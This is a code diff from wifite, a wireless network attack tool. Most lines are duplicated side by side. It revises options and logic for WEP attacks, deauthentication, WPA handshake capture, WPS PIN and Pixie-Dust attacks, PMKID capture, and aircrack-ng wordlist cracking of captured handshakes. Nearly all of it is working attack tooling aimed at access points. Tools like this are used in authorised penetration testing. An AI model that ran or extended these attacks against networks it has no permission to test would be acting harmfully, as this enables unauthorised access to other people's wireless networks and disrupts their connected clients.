dest='wep_attack_fragment', dest='wep_attack_fragment',
help=self._verbose('Use fragmentation WEP attack (default: {G}on{W})')) help=self._verbose('Use {C}fragmentation{W} WEP attack (default: {G}on{W})'))
wep.add_argument('-fragment', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_fragment') wep.add_argument('-fragment', help=argparse.SUPPRESS, action='store_true',
dest='wep_attack_fragment')
wep.add_argument('--chopchop', wep.add_argument('--chopchop',
action='store_true', action='store_true',
dest='wep_attack_chopchop', dest='wep_attack_chopchop',
help=self._verbose('Use chop-chop WEP attack (default: {G}on{W})')) help=self._verbose('Use {C}chop-chop{W} WEP attack (default: {G}on{W})'))
wep.add_argument('-chopchop', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_chopchop') wep.add_argument('-chopchop', help=argparse.SUPPRESS, action='store_true',
dest='wep_attack_chopchop')
wep.add_argument('--caffelatte', wep.add_argument('--caffelatte',
action='store_true', action='store_true',
dest='wep_attack_caffe', dest='wep_attack_caffe',
help=self._verbose('Use caffe-latte WEP attack (default: {G}on{W})')) help=self._verbose('Use {C}caffe-latte{W} WEP attack (default: {G}on{W})'))
wep.add_argument('-caffelatte', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_caffelatte') wep.add_argument('-caffelatte', help=argparse.SUPPRESS, action='store_true',
dest='wep_attack_caffelatte')
wep.add_argument('--p0841', wep.add_argument('--p0841',
action='store_true', action='store_true',
dest='wep_attack_p0841', dest='wep_attack_p0841',
help=self._verbose('Use p0841 WEP attack (default: {G}on{W})')) help=self._verbose('Use {C}p0841{W} WEP attack (default: {G}on{W})'))
wep.add_argument('-p0841', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_p0841') wep.add_argument('-p0841', help=argparse.SUPPRESS, action='store_true',
dest='wep_attack_p0841')
wep.add_argument('--hirte', wep.add_argument('--hirte',
action='store_true', action='store_true',
dest='wep_attack_hirte', dest='wep_attack_hirte',
help=self._verbose('Use ARP-replay WEP attack (default: {G}on{W})')) help=self._verbose('Use {C}hirte{W} WEP attack (default: {G}on{W})'))
wep.add_argument('-hirte', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_hirte') wep.add_argument('-hirte', help=argparse.SUPPRESS, action='store_true',
dest='wep_attack_hirte')
def _add_wpa_args(self, wpa): def _add_wpa_args(self, wpa):
wpa.add_argument('--wpa', wpa.add_argument('--wpa',
action='store_true', action='store_true',
dest='wpa_filter', dest='wpa_filter',
help=Color.s('Filter to display only WPA-encrypted networks (includes WPS)')) help=Color.s('Show only {C}WPA-encrypted networks{W} (includes {C}WPS{W})'))
wpa.add_argument('-wpa', help=argparse.SUPPRESS, action='store_true', dest='wpa_filter') wpa.add_argument('-wpa', help=argparse.SUPPRESS, action='store_true',
dest='wpa_filter')
wpa.add_argument('--wpadt',
action='store',
dest='wpa_deauth_timeout',
metavar='[seconds]',
type=int,
help=self._verbose('Time to wait between sending Deauths (default: {G}%d sec{W})' % self.config.wpa_deauth_timeout))
wpa.add_argument('-wpadt', help=argparse.SUPPRESS, action='store', dest='wpa_deauth_timeout', type=int)
wpa.add_argument('--wpat',
action='store',
dest='wpa_attack_timeout',
metavar='[seconds]',
type=int,
help=self._verbose('Time to wait before failing WPA attack (default: {G}%d sec{W})' % self.config.wpa_attack_timeout))
wpa.add_argument('-wpat', help=argparse.SUPPRESS, action='store', dest='wpa_attack_timeout', type=int)
wpa.add_argument('--pmkid',
'-pmkid',
action='store_true',
dest='use_pmkid_only',
help=Color.s('ONLY use PMKID capture on WPA endpoints (default: {G}off{W})'))
wpa.add_argument('--new-hs',
action='store_true',
dest='ignore_old_handshakes',
help=Color.s('Captures new handshakes, ignores existing handshakes in ./hs (default: {G}off{W})'))
wpa.add_argument('--hs-dir', wpa.add_argument('--hs-dir',
action='store', action='store',
dest='wpa_handshake_dir', dest='wpa_handshake_dir',
metavar='[dir]', metavar='[dir]',
type=str, type=str,
help=self._verbose('Directory to store handshake files (default: {G}%s{W})' % self.config.wpa_handshake_dir)) help=self._verbose('Directory to store handshake files ' +
wpa.add_argument('-hs-dir', help=argparse.SUPPRESS, action='store', dest='wpa_handshake_dir', type=str) '(default: {G}%s{W})' % self.config.wpa_handshake_dir))
wpa.add_argument('-hs-dir', help=argparse.SUPPRESS, action='store',
dest='wpa_handshake_dir', type=str)
wpa.add_argument('--new-hs',
action='store_true',
dest='ignore_old_handshakes',
help=Color.s('Captures new handshakes, ignores existing handshakes ' +
'in {C}%s{W} (default: {G}off{W})' % self.config.wpa_handshake_dir))
wpa.add_argument('--dict', wpa.add_argument('--dict',
action='store', action='store',
@@ -307,6 +322,26 @@ class Arguments(object):
help=Color.s('File containing passwords for cracking (default: {G}%s{W})') help=Color.s('File containing passwords for cracking (default: {G}%s{W})')
% self.config.wordlist) % self.config.wordlist)
wpa.add_argument('--wpadt',
action='store',
dest='wpa_deauth_timeout',
metavar='[seconds]',
type=int,
help=self._verbose('Time to wait between sending Deauths ' +
'(default: {G}%d sec{W})' % self.config.wpa_deauth_timeout))
wpa.add_argument('-wpadt', help=argparse.SUPPRESS, action='store',
dest='wpa_deauth_timeout', type=int)
wpa.add_argument('--wpat',
action='store',
dest='wpa_attack_timeout',
metavar='[seconds]',
type=int,
help=self._verbose('Time to wait before failing WPA attack ' +
'(default: {G}%d sec{W})' % self.config.wpa_attack_timeout))
wpa.add_argument('-wpat', help=argparse.SUPPRESS, action='store',
dest='wpa_attack_timeout', type=int)
# TODO: Uncomment the --strip option once it works # TODO: Uncomment the --strip option once it works
''' '''
wpa.add_argument('--strip', wpa.add_argument('--strip',
@@ -315,34 +350,51 @@ class Arguments(object):
default=False, default=False,
help=Color.s('Strip unnecessary packets from handshake capture using tshark')) help=Color.s('Strip unnecessary packets from handshake capture using tshark'))
''' '''
wpa.add_argument('-strip', help=argparse.SUPPRESS, action='store_true', dest='wpa_strip_handshake') wpa.add_argument('-strip', help=argparse.SUPPRESS, action='store_true',
dest='wpa_strip_handshake')
def _add_wps_args(self, wps): def _add_wps_args(self, wps):
wps.add_argument('--wps', wps.add_argument('--wps',
action='store_true', action='store_true',
dest='wps_filter', dest='wps_filter',
help=Color.s('Filter to display only WPS-enabled networks')) help=Color.s('Show only {C}WPS-enabled networks{W}'))
wps.add_argument('-wps', help=argparse.SUPPRESS, action='store_true', dest='wps_filter') wps.add_argument('-wps', help=argparse.SUPPRESS, action='store_true',
dest='wps_filter')
wps.add_argument('--bully',
action='store_true',
dest='use_bully',
help=Color.s('Use {C}bully{W} instead of {C}reaver{W} for WPS attacks (default: {G}reaver{W})'))
# Alias
wps.add_argument('-bully', help=argparse.SUPPRESS, action='store_true', dest='use_bully')
wps.add_argument('--no-wps', wps.add_argument('--no-wps',
action='store_true', action='store_true',
dest='no_wps', dest='no_wps',
help=Color.s('{O}NEVER{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})')) help=self._verbose('{O}Never{W} use {O}WPS PIN{W} & {O}Pixie-Dust{W}' +
'attacks on targets (default: {G}off{W})'))
wps.add_argument('--wps-only', wps.add_argument('--wps-only',
action='store_true', action='store_true',
dest='wps_only', dest='wps_only',
help=Color.s('{G}ALWAYS{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})')) help=Color.s('{O}Only{W} use {C}WPS PIN{W} & {C}Pixie-Dust{W} ' +
'attacks (default: {G}off{W})'))
wps.add_argument('--pixie', action='store_true', dest='wps_pixie',
help=self._verbose('{O}Only{W} use {C}WPS Pixie-Dust{W} attack ' +
'(do not use {O}PIN attack{W})'))
wps.add_argument('--no-pixie', action='store_true', dest='wps_no_pixie',
help=self._verbose('{O}Never{W} use {O}WPS Pixie-Dust{W} attack ' +
'(use {G}PIN attack{W})'))
wps.add_argument('--bully',
action='store_true',
dest='use_bully',
help=Color.s('Use {G}bully{W} program for WPS PIN & Pixie-Dust attacks ' +
'(default: {G}reaver{W})'))
# Alias # Alias
wps.add_argument('--pixie', help=argparse.SUPPRESS, action='store_true', dest='wps_only') wps.add_argument('-bully', help=argparse.SUPPRESS, action='store_true',
dest='use_bully')
# Ignore lock-outs
wps.add_argument('--ignore-locks', action='store_true', dest='wps_ignore_lock',
help=Color.s('Do {O}not{W} stop WPS PIN attack if AP becomes {O}locked{W} ' +
' (default: {G}stop{W})'))
# Time limit on entire attack. # Time limit on entire attack.
wps.add_argument('--wps-time', wps.add_argument('--wps-time',
@@ -350,9 +402,11 @@ class Arguments(object):
dest='wps_pixie_timeout', dest='wps_pixie_timeout',
metavar='[sec]', metavar='[sec]',
type=int, type=int,
help=self._verbose('Total time to wait before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_timeout)) help=self._verbose('Total time to wait before failing PixieDust attack ' +
'(default: {G}%d sec{W})' % self.config.wps_pixie_timeout))
# Alias # Alias
wps.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wps_pixie_timeout', type=int) wps.add_argument('-wpst', help=argparse.SUPPRESS, action='store',
dest='wps_pixie_timeout', type=int)
# Maximum number of 'failures' (WPSFail) # Maximum number of 'failures' (WPSFail)
wps.add_argument('--wps-fails', wps.add_argument('--wps-fails',
@@ -360,9 +414,11 @@ class Arguments(object):
dest='wps_fail_threshold', dest='wps_fail_threshold',
metavar='[num]', metavar='[num]',
type=int, type=int,
help=self._verbose('Maximum number of WPSFail/NoAssoc errors before failing (default: {G}%d{W})' % self.config.wps_fail_threshold)) help=self._verbose('Maximum number of WPSFail/NoAssoc errors before ' +
'failing (default: {G}%d{W})' % self.config.wps_fail_threshold))
# Alias # Alias
wps.add_argument('-wpsf', help=argparse.SUPPRESS, action='store', dest='wps_fail_threshold', type=int) wps.add_argument('-wpsf', help=argparse.SUPPRESS, action='store',
dest='wps_fail_threshold', type=int)
# Maximum number of 'timeouts' # Maximum number of 'timeouts'
wps.add_argument('--wps-timeouts', wps.add_argument('--wps-timeouts',
@@ -370,17 +426,36 @@ class Arguments(object):
dest='wps_timeout_threshold', dest='wps_timeout_threshold',
metavar='[num]', metavar='[num]',
type=int, type=int,
help=self._verbose('Maximum number of Timeouts before failing (default: {G}%d{W})' % self.config.wps_timeout_threshold)) help=self._verbose('Maximum number of Timeouts before failing ' +
'(default: {G}%d{W})' % self.config.wps_timeout_threshold))
# Alias # Alias
wps.add_argument('-wpsto', help=argparse.SUPPRESS, action='store', dest='wps_timeout_threshold', type=int) wps.add_argument('-wpsto', help=argparse.SUPPRESS, action='store',
dest='wps_timeout_threshold', type=int)
def _add_pmkid_args(self, pmkid):
pmkid.add_argument('--pmkid',
action='store_true',
dest='use_pmkid_only',
help=Color.s('{O}Only{W} use {C}PMKID capture{W}, avoids other WPS & ' +
'WPA attacks (default: {G}off{W})'))
# Alias
pmkid.add_argument('-pmkid', help=argparse.SUPPRESS, action='store_true', dest='use_pmkid_only')
pmkid.add_argument('--pmkid-timeout',
action='store',
dest='pmkid_timeout',
metavar='[sec]',
type=int,
help=Color.s('Time to wait for PMKID capture ' +
'(default: {G}%d{W} seconds)' % self.config.pmkid_timeout))
def _add_command_args(self, commands): def _add_command_args(self, commands):
commands.add_argument('--cracked', commands.add_argument('--cracked',
action='store_true', action='store_true',
dest='cracked', dest='cracked',
help=Color.s('Display previously-cracked access points')) help=Color.s('Print previously-cracked access points'))
commands.add_argument('-cracked', help=argparse.SUPPRESS, action='store_true', dest='cracked') commands.add_argument('-cracked', help=argparse.SUPPRESS, action='store_true',
dest='cracked')
commands.add_argument('--check', commands.add_argument('--check',
action='store', action='store',
@@ -388,8 +463,10 @@ class Arguments(object):
nargs='?', nargs='?',
const='<all>', const='<all>',
dest='check_handshake', dest='check_handshake',
help=Color.s('Check a .cap file (or all hs/*.cap files) for WPA handshakes')) help=Color.s('Check a {C}.cap file{W} (or all {C}hs/*.cap{W} files) ' +
commands.add_argument('-check', help=argparse.SUPPRESS, action='store', nargs='?', const='<all>', dest='check_handshake') 'for WPA handshakes'))
commands.add_argument('-check', help=argparse.SUPPRESS, action='store',
nargs='?', const='<all>', dest='check_handshake')
commands.add_argument('--crack', commands.add_argument('--crack',
action='store_true', action='store_true',
@@ -398,7 +475,7 @@ class Arguments(object):
if __name__ == '__main__': if __name__ == '__main__':
from .util.color import Color from .util.color import Color
from config import Configuration from .config import Configuration
Configuration.initialize(False) Configuration.initialize(False)
a = Arguments(Configuration) a = Arguments(Configuration)
args = a.args args = a.args

View File

@@ -1,6 +1,10 @@
#!/usr/bin/env python #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .wep import AttackWEP
from .wpa import AttackWPA
from .wps import AttackWPS
from .pmkid import AttackPMKID
from ..config import Configuration from ..config import Configuration
from ..util.color import Color from ..util.color import Color
@@ -12,6 +16,10 @@ class AttackAll(object):
Attacks all given `targets` (list[wifite.model.target]) until user interruption. Attacks all given `targets` (list[wifite.model.target]) until user interruption.
Returns: Number of targets that were attacked (int) Returns: Number of targets that were attacked (int)
''' '''
if any(t.wps for t in targets) and not AttackWPS.can_attack_wps():
# Warn that WPS attacks are not available.
Color.pl('{!} {O}Note: WPS attacks are not possible because you do not have {C}reaver{O} nor {C}bully{W}')
attacked_targets = 0 attacked_targets = 0
targets_remaining = len(targets) targets_remaining = len(targets)
for index, target in enumerate(targets, start=1): for index, target in enumerate(targets, start=1):
@@ -22,7 +30,7 @@ class AttackAll(object):
essid = target.essid if target.essid_known else '{O}ESSID unknown{W}' essid = target.essid if target.essid_known else '{O}ESSID unknown{W}'
Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (index, len(targets)) + Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (index, len(targets)) +
' starting attacks against {C}%s{W} ({C}%s{W})' % (bssid, essid)) ' Starting attacks against {C}%s{W} ({C}%s{W})' % (bssid, essid))
should_continue = cls.attack_single(target, targets_remaining) should_continue = cls.attack_single(target, targets_remaining)
if not should_continue: if not should_continue:
@@ -36,10 +44,6 @@ class AttackAll(object):
Attacks a single `target` (wifite.model.target). Attacks a single `target` (wifite.model.target).
Returns: True if attacks should continue, False otherwise. Returns: True if attacks should continue, False otherwise.
''' '''
from .wep import AttackWEP
from .wpa import AttackWPA
from .wps import AttackWPS
from .pmkid import AttackPMKID
attacks = [] attacks = []
@@ -53,19 +57,28 @@ class AttackAll(object):
elif 'WPA' in target.encryption: elif 'WPA' in target.encryption:
# WPA can have multiple attack vectors: # WPA can have multiple attack vectors:
if target.wps:
# WPS # WPS
attacks.append(AttackWPS(target)) if not Configuration.use_pmkid_only:
if target.wps != False and AttackWPS.can_attack_wps():
# Pixie-Dust
if Configuration.wps_pixie:
attacks.append(AttackWPS(target, pixie_dust=True))
# PIN attack
if Configuration.wps_pin:
attacks.append(AttackWPS(target, pixie_dust=False))
if not Configuration.wps_only:
# PMKID # PMKID
attacks.append(AttackPMKID(target)) attacks.append(AttackPMKID(target))
# Handshake capture # Handshake capture
if not Configuration.use_pmkid_only:
attacks.append(AttackWPA(target)) attacks.append(AttackWPA(target))
if len(attacks) == 0: if len(attacks) == 0:
Color.pl('{!} {R}Error: {O}unable to attack: encryption not WEP or WPA') Color.pl('{!} {R}Error: {O}Unable to attack: no attacks available')
return return True # Keep attacking other targets (skip)
while len(attacks) > 0: while len(attacks) > 0:
attack = attacks.pop(0) attack = attacks.pop(0)
@@ -77,9 +90,14 @@ class AttackAll(object):
Color.pexception(e) Color.pexception(e)
continue continue
except KeyboardInterrupt: except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted{W}\n') Color.pl('\n{!} {O}Interrupted{W}\n')
if not cls.user_wants_to_continue(targets_remaining, len(attacks)): answer = cls.user_wants_to_continue(targets_remaining, len(attacks))
return False # Stop attacking other targets if answer is True:
continue # Keep attacking the same target (continue)
elif answer is None:
return True # Keep attacking other targets (skip)
else:
return False # Stop all attacks (exit)
if attack.success: if attack.success:
attack.crack_result.save() attack.crack_result.save()
@@ -102,15 +120,30 @@ class AttackAll(object):
prompt_list.append(Color.s('{C}%d{W} attack(s)' % attacks_remaining)) prompt_list.append(Color.s('{C}%d{W} attack(s)' % attacks_remaining))
if targets_remaining > 0: if targets_remaining > 0:
prompt_list.append(Color.s('{C}%d{W} target(s)' % targets_remaining)) prompt_list.append(Color.s('{C}%d{W} target(s)' % targets_remaining))
prompt = ' and '.join(prompt_list) prompt = ' and '.join(prompt_list) + ' remain'
Color.pl('{+} %s remain, do you want to continue?' % prompt) Color.pl('{+} %s' % prompt)
prompt = Color.s('{+} type {G}c{W} to {G}continue{W}' + prompt = '{+} Do you want to'
' or {R}s{W} to {R}stop{W}: ') options = '('
if attacks_remaining > 0:
prompt += ' {G}continue{W} attacking,'
options += '{G}C{W}{D}, {W}'
if targets_remaining > 0:
prompt += ' {O}skip{W} to the next target,'
options += '{O}s{W}{D}, {W}'
options += '{R}e{W})'
prompt += ' or {R}exit{W} %s? {C}' % options
from ..util.input import raw_input from ..util.input import raw_input
if raw_input(prompt).lower().startswith('s'): answer = raw_input(Color.s(prompt)).lower()
return False
else: if answer.startswith('s'):
return True return None # Skip
elif answer.startswith('e'):
return False # Exit
else:
return True # Continue

View File

@@ -62,12 +62,6 @@ class AttackPMKID(Attack):
Returns: Returns:
True if handshake is captured. False otherwise. True if handshake is captured. False otherwise.
''' '''
# Skip if user only wants to run PixieDust attack
if Configuration.wps_only and self.target.wps:
Color.pl('\r{!} {O}Skipping PMKID attack on {R}%s{O} because {R}--wps-only{O} is set{W}' % self.target.essid)
self.success = False
return False
from ..util.process import Process from ..util.process import Process
# Check that we have all hashcat programs # Check that we have all hashcat programs
dependencies = [ dependencies = [
@@ -97,7 +91,12 @@ class AttackPMKID(Attack):
return False # No hash found. return False # No hash found.
# Crack it. # Crack it.
try:
self.success = self.crack_pmkid_file(pmkid_file) self.success = self.crack_pmkid_file(pmkid_file)
except KeyboardInterrupt:
Color.pl('\n{!} {R}Failed to crack PMKID: {O}Cracking interrupted by user{W}')
self.success = False
return False
return True # Even if we don't crack it, capturing a PMKID is 'successful' return True # Even if we don't crack it, capturing a PMKID is 'successful'
@@ -109,7 +108,7 @@ class AttackPMKID(Attack):
The PMKID hash (str) if found, otherwise None. The PMKID hash (str) if found, otherwise None.
''' '''
self.keep_capturing = True self.keep_capturing = True
self.timer = Timer(15) self.timer = Timer(Configuration.pmkid_timeout)
# Start hcxdumptool # Start hcxdumptool
t = Thread(target=self.dumptool_thread) t = Thread(target=self.dumptool_thread)
@@ -169,7 +168,6 @@ class AttackPMKID(Attack):
Color.clear_entire_line() Color.clear_entire_line()
Color.pattack('PMKID', self.target, '{R}CRACK', Color.pattack('PMKID', self.target, '{R}CRACK',
'{R}Failed {O}Passphrase not found in dictionary.\n') '{R}Failed {O}Passphrase not found in dictionary.\n')
Color.pl('')
return False return False
else: else:
# Successfully cracked. # Successfully cracked.
@@ -187,7 +185,7 @@ class AttackPMKID(Attack):
dumptool = HcxDumpTool(self.target, self.pcapng_file) dumptool = HcxDumpTool(self.target, self.pcapng_file)
# Let the dump tool run until we have the hash. # Let the dump tool run until we have the hash.
while self.keep_capturing and dumptool.poll() == None: while self.keep_capturing and dumptool.poll() is None:
time.sleep(0.5) time.sleep(0.5)
dumptool.interrupt() dumptool.interrupt()
@@ -197,7 +195,7 @@ class AttackPMKID(Attack):
'''Saves a copy of the pmkid (handshake) to hs/ directory.''' '''Saves a copy of the pmkid (handshake) to hs/ directory.'''
# Create handshake dir # Create handshake dir
if not os.path.exists(Configuration.wpa_handshake_dir): if not os.path.exists(Configuration.wpa_handshake_dir):
os.mkdir(Configuration.wpa_handshake_dir) os.makedirs(Configuration.wpa_handshake_dir)
# Generate filesystem-safe filename from bssid, essid and date # Generate filesystem-safe filename from bssid, essid and date
essid_safe = re.sub('[^a-zA-Z0-9]', '', self.target.essid) essid_safe = re.sub('[^a-zA-Z0-9]', '', self.target.essid)

View File

@@ -5,7 +5,7 @@ from ..model.attack import Attack
from ..tools.airodump import Airodump from ..tools.airodump import Airodump
from ..tools.aireplay import Aireplay, WEPAttackType from ..tools.aireplay import Aireplay, WEPAttackType
from ..tools.aircrack import Aircrack from ..tools.aircrack import Aircrack
from ..tools.ifconfig import Ifconfig from ..tools.ip import Ip
from ..config import Configuration from ..config import Configuration
from ..util.color import Color from ..util.color import Color
from ..util.input import raw_input from ..util.input import raw_input
@@ -67,7 +67,7 @@ class AttackWEP(Attack):
if self.fake_auth(): if self.fake_auth():
# We successfully authenticated! # We successfully authenticated!
# Use our interface's MAC address for the attacks. # Use our interface's MAC address for the attacks.
client_mac = Ifconfig.get_mac(Configuration.interface) client_mac = Ip.get_mac(Configuration.interface)
# Keep us authenticated # Keep us authenticated
fakeauth_proc = Aireplay(self.target, 'fakeauth') fakeauth_proc = Aireplay(self.target, 'fakeauth')
elif len(airodump_target.clients) == 0: elif len(airodump_target.clients) == 0:
@@ -303,7 +303,7 @@ class AttackWEP(Attack):
Color.p('\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...') Color.p('\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...')
Aireplay.deauth(target.bssid, essid=target.essid) Aireplay.deauth(target.bssid, essid=target.essid)
attacking_mac = Ifconfig.get_mac(Configuration.interface) attacking_mac = Ip.get_mac(Configuration.interface)
for client in target.clients: for client in target.clients:
if attacking_mac.lower() == client.station.lower(): if attacking_mac.lower() == client.station.lower():
continue # Don't deauth ourselves. continue # Don't deauth ourselves.

View File

@@ -2,6 +2,7 @@
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..model.attack import Attack from ..model.attack import Attack
from ..tools.aircrack import Aircrack
from ..tools.airodump import Airodump from ..tools.airodump import Airodump
from ..tools.aireplay import Aireplay from ..tools.aireplay import Aireplay
from ..config import Configuration from ..config import Configuration
@@ -26,15 +27,17 @@ class AttackWPA(Attack):
def run(self): def run(self):
'''Initiates full WPA handshake capture attack.''' '''Initiates full WPA handshake capture attack.'''
if Configuration.use_pmkid_only: # Skip if target is not WPS
self.success = False if Configuration.wps_only and self.target.wps == False:
return False
# Skip if user only wants to run PixieDust attack
if Configuration.wps_only and self.target.wps:
Color.pl('\r{!} {O}Skipping WPA-Handshake attack on {R}%s{O} because {R}--wps-only{O} is set{W}' % self.target.essid) Color.pl('\r{!} {O}Skipping WPA-Handshake attack on {R}%s{O} because {R}--wps-only{O} is set{W}' % self.target.essid)
self.success = False self.success = False
return self.success return self.success
# Skip if user only wants to run PMKID attack
if Configuration.use_pmkid_only:
self.success = False
return False
# Capture the handshake (or use an old one) # Capture the handshake (or use an old one)
handshake = self.capture_handshake() handshake = self.capture_handshake()
@@ -47,11 +50,29 @@ class AttackWPA(Attack):
Color.pl('\n{+} analysis of captured handshake file:') Color.pl('\n{+} analysis of captured handshake file:')
handshake.analyze() handshake.analyze()
# Check wordlist
if Configuration.wordlist is None:
Color.pl('{!} {O}Not cracking handshake because' +
' wordlist ({R}--dict{O}) is not set')
self.success = False
return False
elif not os.path.exists(Configuration.wordlist):
Color.pl('{!} {O}Not cracking handshake because' +
' wordlist {R}%s{O} was not found' % Configuration.wordlist)
self.success = False
return False
Color.pl('\n{+} {C}Cracking WPA Handshake:{W} Running {C}aircrack-ng{W} with' +
' {C}%s{W} wordlist' % os.path.split(Configuration.wordlist)[-1])
# Crack it # Crack it
key = self.crack_handshake(handshake, Configuration.wordlist) key = Aircrack.crack_handshake(handshake, show_command=False)
if key is None: if key is None:
Color.pl('{!} {R}Failed to crack handshake: {O}%s{R} did not contain password{W}' % Configuration.wordlist.split(os.sep)[-1])
self.success = False self.success = False
else: else:
Color.pl('{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n' % key)
self.crack_result = CrackResultWPA(handshake.bssid, handshake.essid, handshake.capfile, key) self.crack_result = CrackResultWPA(handshake.bssid, handshake.essid, handshake.capfile, key)
self.crack_result.dump() self.crack_result.dump()
self.success = True self.success = True
@@ -157,84 +178,6 @@ class AttackWPA(Attack):
self.save_handshake(handshake) self.save_handshake(handshake)
return handshake return handshake
@staticmethod
def crack_handshake(handshake, wordlist, verbose=False):
'''Tries to crack a handshake. Returns WPA key if found, otherwise None.'''
if wordlist is None:
Color.pl('{!} {O}Not cracking handshake because' +
' wordlist ({R}--dict{O}) is not set')
return None
elif not os.path.exists(wordlist):
Color.pl('{!} {O}Not cracking handshake because' +
' wordlist {R}%s{O} was not found' % wordlist)
return None
if not verbose:
Color.pl('\n{+} {C}Cracking WPA Handshake:{W} Using {C}aircrack-ng{W} via' +
' {C}%s{W} wordlist' % os.path.split(wordlist)[-1])
key_file = Configuration.temp('wpakey.txt')
command = [
'aircrack-ng',
'-a', '2',
'-w', wordlist,
'--bssid', handshake.bssid,
'-l', key_file,
handshake.capfile
]
if verbose:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
crack_proc = Process(command)
# Report progress of cracking
aircrack_nums_re = re.compile(r'(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s')
aircrack_key_re = re.compile(r'Current passphrase:\s*([^\s].*[^\s])\s*$')
num_tried = num_total = 0
percent = num_kps = 0.0
eta_str = 'unknown'
current_key = ''
while crack_proc.poll() is None:
line = crack_proc.pid.stdout.readline()
match_nums = aircrack_nums_re.search(line.decode('utf-8'))
match_keys = aircrack_key_re.search(line.decode('utf-8'))
if match_nums:
num_tried = int(match_nums.group(1))
num_total = int(match_nums.group(2))
num_kps = float(match_nums.group(3))
eta_seconds = (num_total - num_tried) / num_kps
eta_str = Timer.secs_to_str(eta_seconds)
percent = 100.0 * float(num_tried) / float(num_total)
elif match_keys:
current_key = match_keys.group(1)
else:
continue
status = '\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}' % percent
status += ' ETA: {C}%s{W}' % eta_str
status += ' @ {C}%0.1fkps{W}' % num_kps
#status += ' ({C}%d{W}/{C}%d{W} keys)' % (num_tried, num_total)
status += ' (current key: {C}%s{W})' % current_key
if not verbose:
Color.clear_entire_line()
Color.p(status)
if not verbose:
Color.pl('')
# Check crack result
if os.path.exists(key_file):
with open(key_file, 'r') as fid:
key = fid.read().strip()
os.remove(key_file)
if not verbose:
Color.pl('{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n' % key)
return key
else:
if not verbose:
Color.pl('{!} {R}Failed to crack handshake: {O}%s{R} did not contain password{W}' % wordlist.split(os.sep)[-1])
return None
def load_handshake(self, bssid, essid): def load_handshake(self, bssid, essid):
if not os.path.exists(Configuration.wpa_handshake_dir): if not os.path.exists(Configuration.wpa_handshake_dir):
return None return None
@@ -262,7 +205,7 @@ class AttackWPA(Attack):
''' '''
# Create handshake dir # Create handshake dir
if not os.path.exists(Configuration.wpa_handshake_dir): if not os.path.exists(Configuration.wpa_handshake_dir):
os.mkdir(Configuration.wpa_handshake_dir) os.makedirs(Configuration.wpa_handshake_dir)
# Generate filesystem-safe filename from bssid, essid and date # Generate filesystem-safe filename from bssid, essid and date
if handshake.essid and type(handshake.essid) is str: if handshake.essid and type(handshake.essid) is str:

View File

@@ -3,13 +3,22 @@
from ..model.attack import Attack from ..model.attack import Attack
from ..util.color import Color from ..util.color import Color
from ..util.process import Process
from ..config import Configuration from ..config import Configuration
from ..tools.bully import Bully
from ..tools.reaver import Reaver
class AttackWPS(Attack): class AttackWPS(Attack):
def __init__(self, target):
@staticmethod
def can_attack_wps():
return Reaver.exists() or Bully.exists()
def __init__(self, target, pixie_dust=False):
super(AttackWPS, self).__init__(target) super(AttackWPS, self).__init__(target)
self.success = False self.success = False
self.crack_result = None self.crack_result = None
self.pixie_dust = pixie_dust
def run(self): def run(self):
''' Run all WPS-related attacks ''' ''' Run all WPS-related attacks '''
@@ -20,22 +29,47 @@ class AttackWPS(Attack):
return False return False
if Configuration.no_wps: if Configuration.no_wps:
Color.pl('\r{!} {O}--no-wps{R} set, ignoring WPS attack on {O}%s{W}' % self.target.essid)
self.success = False self.success = False
return False return False
if Configuration.use_bully: if not Configuration.wps_pixie and self.pixie_dust:
Color.pl('\r{!} {O}--no-pixie{R} was given, ignoring WPS PIN Attack on ' +
'{O}%s{W}' % self.target.essid)
self.success = False
return False
if not Configuration.wps_pin and not self.pixie_dust:
Color.pl('\r{!} {O}--no-pin{R} was given, ignoring WPS Pixie-Dust Attack ' +
'on {O}%s{W}' % self.target.essid)
self.success = False
return False
if not Reaver.exists() and Bully.exists():
# Use bully if reaver isn't available
return self.run_bully() return self.run_bully()
elif self.pixie_dust and not Reaver.is_pixiedust_supported() and Bully.exists():
# Use bully if reaver can't do pixie-dust
return self.run_bully()
elif Configuration.use_bully:
# Use bully if asked by user
return self.run_bully()
elif not Reaver.exists():
# Print error if reaver isn't found (bully not available)
if self.pixie_dust:
Color.pl('\r{!} {R}Skipping WPS Pixie-Dust attack: {O}reaver{R} not found.{W}')
else:
Color.pl('\r{!} {R}Skipping WPS PIN attack: {O}reaver{R} not found.{W}')
return False
elif self.pixie_dust and not Reaver.is_pixiedust_supported():
# Print error if reaver can't support pixie-dust (bully not available)
Color.pl('\r{!} {R}Skipping WPS attack: {O}reaver{R} does not support {O}--pixie-dust{W}')
return False
else: else:
return self.run_reaver() return self.run_reaver()
return False
def run_bully(self): def run_bully(self):
# Bully: Pixie-dust bully = Bully(self.target, pixie_dust=self.pixie_dust)
from ..tools.bully import Bully
bully = Bully(self.target)
bully.run() bully.run()
bully.stop() bully.stop()
self.crack_result = bully.crack_result self.crack_result = bully.crack_result
@@ -44,14 +78,7 @@ class AttackWPS(Attack):
def run_reaver(self): def run_reaver(self):
from ..tools.reaver import Reaver reaver = Reaver(self.target, pixie_dust=self.pixie_dust)
reaver = Reaver(self.target)
if not reaver.is_pixiedust_supported():
Color.pl('{!} {R}your version of "reaver" does not support the {O}WPS pixie-dust attack{W}')
return False
else:
# Reaver: Pixie-dust
